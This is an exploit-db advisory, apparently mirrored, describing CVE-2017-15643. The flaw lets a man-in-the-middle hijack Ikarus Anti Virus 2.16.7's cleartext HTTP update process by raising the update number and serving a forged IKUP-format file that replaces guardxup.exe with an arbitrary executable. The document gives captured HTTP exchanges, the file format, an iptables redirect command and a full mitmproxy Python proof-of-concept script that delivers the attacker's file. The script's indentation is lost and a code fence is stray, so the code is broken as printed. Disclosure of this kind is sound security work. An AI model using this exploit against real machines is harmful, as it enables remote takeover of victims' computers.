Ikraus Anti Virus 2.16.7 – Remote Code Execution

  • 作者: SecuriTeam
    日期: 2017-10-16
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/44055/
  • ## Vulnerability summary
    The following advisory describes an remote code execution found in Ikraus Anti Virus version 2.16.7.
    
    KARUS anti.virus “secures your personal data and PC from all kinds of malware. Additionally, the Anti-SPAM module protects you from SPAM and malware from e-mails. Prevent intrusion and protect yourself against cyber-criminals by choosing IKARUS anti.virus, powered by the award-winning IKARUS scan.engine. It is among the best in the world, detecting new and existing threats every day. ”
    
    ## Credit
    An independent security researcher has reported this vulnerability to Beyond Security’s SecuriTeam Secure Disclosure program
    
    ## Vendor Response
    
    Update 1
    CVE: CVE-2017-15643
    
    The vendor has released patches to address these vulnerabilities.
    
    For more information: https://www.ikarussecurity.com/about-ikarus/security-blog/vulnerability-in-windows-antivirus-products-ik-sa-2017-0001/
    
    ## Vulnerability details
    An active network attacker (MiTM) can achieve remote code execution on a machine that runs Ikraus Anti Virus.
    
    Ikarus AV for windows uses cleartext HTTP for updates along with a CRC32 checksum and an update value for verification of the downloaded files.
    
    Also ikarus checks for a update version number which can be incremented to goad the process to update.
    
    The update process executable in ikarus called guardxup.exe
    
    guardxup.exe, send over port 80, the following request for update:
    
    ```
    GET /cgi-bin/virusutilities.pl?A=7534ED66&B=6.1.1.0.11.1.256.7601&C=1005047.2013019.2001016.98727&F=4.5.2%3bO=0%3bSP=0&E=WD-194390-VU HTTP/1.1
    Accept: */*
    User-Agent: virusutilities(6.1,0,1005047)
    Host: updates.ikarus.at
    Connection: close
    ```
    
    The server will respond with:
    
    ```
    HTTP/1.1 200 OK
    Date: Sun, 23 Oct 2016 04:51:05 GMT
    Server: Apache/2.4.10 (Debian) mod_perl/2.0.9dev Perl/v5.20.2
    Content-Disposition: inline; filename=virusutilities
    Content-Length: 306
    Connection: close
    Content-Type: text/plain; charset=ISO-8859-1
    
    <url>
    fullhttp://mirror04.ikarus.at/updates/
    diffhttp://mirror06.ikarus.at/updates/
    </url>
    <up>
    antispam_w64001000076
    antispam001000076
    update001005047
    virusutilities002013019
    t3modul_w64 002001016
    t3modul 002001016
    sdb 000007074
    t3sigs000098727
    </up>
    <dependence>
    t3modul
    </dependence>
    ```
    ```
    
    Through the proxy we will modify the response and add 1 to the ‘update’ value and forward the response to the client.
    
    Then the client will request the update via this url: http://mirror04.ikarus.at/updates/guardxup001005048.full
    
    The ikarus server will respond with a 404:
    
    ```
    HTTP/1.1 404 Not Found
    Server: nginx/1.6.2
    Date: Sun, 23 Oct 2016 04:53:05 GMT
    Content-Type: text/html
    Content-Length: 168
    Connection: close
    
    <html>
    <head><title>404 Not Found</title></head>
    <body bgcolor="white">
    <center><h1>404 Not Found</h1></center>
    <hr><center>nginx/1.6.2</center>
    </body>
    </html>
    ```
    
    But we will modify the response with a IKUP format:
    
    
    ```
    Bytes: 0x0 - 0x3 == IKUP # header
    Bytes: 0x4 - 0x7 == 0x0s
    Bytes: 0x8 == 0x3C # pointer to start of PE EXE MZ header
    Bytes: 0x20 - 0x23 == update value in little endian (script fixes it up)
    Bytes: 0x24 - 0x27 == crc32 checksum (script populates from provided binary)
    Bytes: 0x28 -> pointer to MZ header == 0x0s
    Bytes: 'pointer to MZ header' -> ? == appended exe
    ```
    
    Then we will forward to the update to the client, where it replaces guardxup.exe with our executable.
    
    ## Proof of concept
    Please install mitmproxy 0.17 – pip install mitmproxy==0.17
    
    To use this script, you’ll need to MITM port 80 traffic from the client for use with a transparent proxy.
    
    Set your firewall rules to intercept 80 traffic on port 8080:
    
    
    ```
    sudo iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080
    ```
    and execute the script as follows:
    
    
    ```
    ./poc.py file_to_deploy.exe
    ```
    
    ```
    #!/usr/bin/env python2
    import os
    try:
    from mitmproxy import controller, proxy, platform
    from mitmproxy.proxy.server import ProxyServer
    except:
    from libmproxy import controller, proxy, platform
    from libmproxy.proxy.server import ProxyServer
    
    import re
    import struct
    import sys
    import zlib
    import bz2
    
    class IkarusPOC(controller.Master):
    def __init__(self, server, backdoored_file):
    controller.Master.__init__(self, server)
    self.ikarus= {}
    self.crc_file = 0
    self.backdoored_file = backdoored_file
    self.to_replace = 0
    self.already_patched = 0
    self.update_number = 0 
    
    def win_header(self):
    self.update_header = "\x49\x4B\x55\x50\x00\x00\x00\x00\x3C\x00\x00\x00\x00\x00\x00\x00"
    self.update_header += "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
    self.update_header += struct.pack("<I", self.to_replace)# update number
    self.update_header += struct.pack("<I", self.crc_file)# checksum
    self.update_header += "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
    self.update_header += "\x00\x00\x00\x00"
    
    def run(self):
    try:
    return controller.Master.run(self)
    except KeyboardInterrupt:
    self.shutdown()
    
    def crc_stream(self, a_string):
    prev = 0
    return zlib.crc32(a_string, prev) & 0xFFFFFFFF
    
    def crc(self, some_file):
    prev = 0
    for eachLine in open(some_file,"rb"):
    prev = zlib.crc32(eachLine, prev)
    self.crc_file = prev & 0xFFFFFFFF 
    print "[*] crc_file", self.crc_file
    
    def handle_request(self, flow):
    hid = (flow.request.host, flow.request.port)
    flow.reply()
    
    def handle_response(self, flow):
    print "[*] flow.request.host:", flow.request.host
    if "cgi-bin/imsa-lite.pl" in flow.request.path and "Dalvik" in flow.request.headers['User-Agent'] and self.already_patched <=2:
    content = flow.reply.obj.response.content
    p = re.compile("antispam[\s|\t].*\n")
    result = p.search(content)
    the_result = result.group(0)
    
    original_update_number= [int(s) for s in the_result.split() if s.isdigit()][0]
    if self.update_number == 0:
    self.update_number = original_update_number
    self.to_replace = self.update_number + 1
    content = content.replace(str(original_update_number), str(self.to_replace))
    flow.reply.obj.response.content = content
    
    if "cgi-bin/virusutilities.pl" in flow.request.path and 'virusutilities' in flow.request.headers['User-Agent'] and self.already_patched <= 2: 
    print "[*] Found update response, modifying..."
    content = flow.reply.obj.response.content
    p = re.compile("update[\s|\t].*\n")
    result = p.search(content)
    the_result = result.group(0)
    original_update_number = [int(s) for s in the_result.split() if s.isdigit()][0]
    if self.update_number == 0:
    self.update_number = original_update_number
    self.to_replace = self.update_number + 1
    print '[*] Update_number', self.update_number
    print '[*] Replace number', self.to_replace
    content = content.replace(str(original_update_number), str(self.to_replace))
    print "[*] Updated content", content
    flow.reply.obj.response.content = content 
    
    if 'guard' in flow.request.path and 'full' in flow.request.path and self.already_patched <= 2:
    print '[*] Found guardxup.exe request! Modifying request and pushing provided file!'
    self.crc(self.backdoored_file)
    self.win_header()
    with open(self.backdoored_file, 'rb') as f:
    file_out= f.read()
    content = self.update_header + file_out 
    with open('/tmp/update_test.full', 'wb') as f:
    f.write(content)
    flow.reply.obj.response.content = content 
    flow.reply.obj.response.status_code = 200
    self.already_patched += 1 
    flow.reply()
    
    
    config = proxy.ProxyConfig(port=8080, mode='transparent')
    server = ProxyServer(config)
    m = IkarusPOC(server, sys.argv[1])
    m.run()
    ```